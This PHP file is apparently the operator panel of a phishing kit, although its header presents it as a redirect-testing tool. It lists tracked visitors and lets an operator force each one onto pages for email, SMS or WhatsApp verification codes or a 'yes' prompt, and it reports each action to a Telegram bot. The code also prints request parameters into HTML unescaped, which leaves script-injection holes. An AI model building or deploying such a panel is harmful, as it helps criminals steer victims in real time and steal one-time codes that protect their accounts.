<?php
/**
 * Force Redirect Tool
 * Allows manual forcing of redirects for testing and troubleshooting
 */

session_start();
include('../config.php');

// Set headers to prevent caching
header('Cache-Control: no-cache, no-store, must-revalidate');
header('Pragma: no-cache');
header('Expires: 0');

// Get parameters
$visitor_id = $_GET['visitor_id'] ?? '';
$redirect_to = $_GET['redirect_to'] ?? '';
$action = $_GET['action'] ?? 'view';

// Validate inputs
if (empty($visitor_id) && $action !== 'list') {
    die("Error: Visitor ID is required");
}

// Path to redirects.json
$redirects_file = __DIR__ . '/session/redirects.json';
if (!file_exists($redirects_file)) {
    die("Error: redirects.json file not found");
}

// Function to safely read the redirects file with locking
function read_redirects_file($file_path) {
    $fp = fopen($file_path, 'r');
    if (!$fp) {
        return null;
    }
    
    if (!flock($fp, LOCK_SH)) {
        fclose($fp);
        return null;
    }
    
    $content = '';
    while (!feof($fp)) {
        $content .= fread($fp, 8192);
    }
    
    flock($fp, LOCK_UN);
    fclose($fp);
    
    return json_decode($content, true) ?: ['redirects' => []];
}

// Function to safely write to the redirects file with locking
function write_redirects_file($file_path, $data) {
    $fp = fopen($file_path, 'c+');
    if (!$fp) {
        return false;
    }
    
    if (!flock($fp, LOCK_EX)) {
        fclose($fp);
        return false;
    }
    
    ftruncate($fp, 0);
    rewind($fp);
    fwrite($fp, json_encode($data, JSON_PRETTY_PRINT));
    fflush($fp);
    flock($fp, LOCK_UN);
    fclose($fp);
    
    return true;
}

// Handle different actions
switch ($action) {
    case 'list':
        // List all visitors in redirects.json
        $redirects = read_redirects_file($redirects_file);
        if ($redirects === null) {
            die("Error: Could not read redirects file");
        }
        
        // Output as HTML
        echo "<!DOCTYPE html>
        <html>
        <head>
            <title>Force Redirect Tool</title>
            <style>
                body { font-family: Arial, sans-serif; margin: 20px; }
                table { border-collapse: collapse; width: 100%; }
                th, td { border: 1px solid #ddd; padding: 8px; text-align: left; }
                th { background-color: #f2f2f2; }
                tr:nth-child(even) { background-color: #f9f9f9; }
                .actions a { margin-right: 10px; }
                h1 { color: #333; }
                .back { margin-top: 20px; }
            </style>
        </head>
        <body>
            <h1>Active Visitors</h1>
            <table>
                <tr>
                    <th>Visitor ID</th>
                    <th>Status</th>
                    <th>Created/Updated</th>
                    <th>Actions</th>
                </tr>";
        
        foreach ($redirects['redirects'] as $id => $data) {
            $time = isset($data['updated']) ? $data['updated'] : (isset($data['created']) ? $data['created'] : 'N/A');
            $time_formatted = is_numeric($time) ? date('Y-m-d H:i:s', $time) : $time;
            
            echo "<tr>
                <td>{$id}</td>
                <td>{$data['status']}</td>
                <td>{$time_formatted}</td>
                <td class='actions'>
                    <a href='?action=view&visitor_id={$id}'>View</a>
                    <a href='?action=force&visitor_id={$id}&redirect_to=yes_prompt.php'>Yes Prompt</a>
                    <a href='?action=force&visitor_id={$id}&redirect_to=email_code.php'>Email Code</a>
                    <a href='?action=force&visitor_id={$id}&redirect_to=whatsapp_code.php'>WhatsApp</a>
                    <a href='?action=force&visitor_id={$id}&redirect_to=sms_code.php'>SMS Code</a>
                </td>
            </tr>";
        }
        
        echo "</table>
            <div class='back'>
                <a href='index.php'>Back to Home</a>
            </div>
        </body>
        </html>";
        break;
        
    case 'view':
        // View details for a specific visitor
        $redirects = read_redirects_file($redirects_file);
        if ($redirects === null) {
            die("Error: Could not read redirects file");
        }
        
        if (!isset($redirects['redirects'][$visitor_id])) {
            die("Error: Visitor ID not found");
        }
        
        $visitor_data = $redirects['redirects'][$visitor_id];
        
        // Output as HTML
        echo "<!DOCTYPE html>
        <html>
        <head>
            <title>Visitor Details</title>
            <style>
                body { font-family: Arial, sans-serif; margin: 20px; }
                table { border-collapse: collapse; width: 100%; }
                th, td { border: 1px solid #ddd; padding: 8px; text-align: left; }
                th { background-color: #f2f2f2; width: 30%; }
                h1 { color: #333; }
                .actions { margin: 20px 0; }
                .actions a { display: inline-block; margin-right: 10px; padding: 8px 16px; 
                             background-color: #4CAF50; color: white; text-decoration: none; }
                .back { margin-top: 20px; }
            </style>
        </head>
        <body>
            <h1>Visitor Details</h1>
            <table>
                <tr>
                    <th>Visitor ID</th>
                    <td>{$visitor_id}</td>
                </tr>";
        
        foreach ($visitor_data as $key => $value) {
            if (is_array($value)) {
                $value = json_encode($value);
            } elseif ($key === 'created' || $key === 'updated') {
                $value = date('Y-m-d H:i:s', $value);
            }
            
            echo "<tr>
                <th>" . ucfirst($key) . "</th>
                <td>{$value}</td>
            </tr>";
        }
        
        echo "</table>
            
            <div class='actions'>
                <h2>Force Redirect To:</h2>
                <a href='?action=force&visitor_id={$visitor_id}&redirect_to=yes_prompt.php'>Yes Prompt</a>
                <a href='?action=force&visitor_id={$visitor_id}&redirect_to=email_code.php'>Email Code</a>
                <a href='?action=force&visitor_id={$visitor_id}&redirect_to=whatsapp_code.php'>WhatsApp</a>
                <a href='?action=force&visitor_id={$visitor_id}&redirect_to=sms_code.php'>SMS Code</a>
            </div>
            
            <div class='back'>
                <a href='?action=list'>Back to List</a>
            </div>
        </body>
        </html>";
        break;
        
    case 'force':
        // Force a redirect for a visitor
        if (empty($redirect_to)) {
            die("Error: Redirect destination is required");
        }
        
        $redirects = read_redirects_file($redirects_file);
        if ($redirects === null) {
            die("Error: Could not read redirects file");
        }
        
        if (!isset($redirects['redirects'][$visitor_id])) {
            die("Error: Visitor ID not found");
        }
        
        // Update the visitor's redirect information
        $source = $_GET['source'] ?? 'manual_force';
        $redirects['redirects'][$visitor_id] = [
            'status' => 'ready',
            'redirect_url' => $redirect_to . '?id=' . $visitor_id,
            'updated' => time(),
            'source' => $source
        ];
        
        // Write the updated data back to the file
        if (!write_redirects_file($redirects_file, $redirects)) {
            die("Error: Could not update redirects file");
        }
        
        // Send notification to Telegram
        $msgtg = "🔄 <b>MANUAL REDIRECT FORCED</b>\n\n";
        $msgtg .= "• Visitor ID: <code>{$visitor_id}</code>\n";
        $msgtg .= "• Redirect To: <code>{$redirect_to}</code>\n";
        $msgtg .= "• Source: <code>{$source}</code>\n";
        $msgtg .= "• Time: " . date('Y-m-d H:i:s') . "\n";
        
        $send = [
            'chat_id' => $settings['chat_id'],
            'text' => $msgtg,
            'parse_mode' => 'HTML',
            'disable_web_page_preview' => true
        ];
        
        $website = "https://api.telegram.org/bot{$settings['bot_url']}";
        $ch = curl_init($website . '/sendMessage');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_exec($ch);
        curl_close($ch);
        
        // Redirect to the list page with success message
        header("Location: ?action=list&success=1");
        exit();
        
    default:
        die("Error: Invalid action");
}
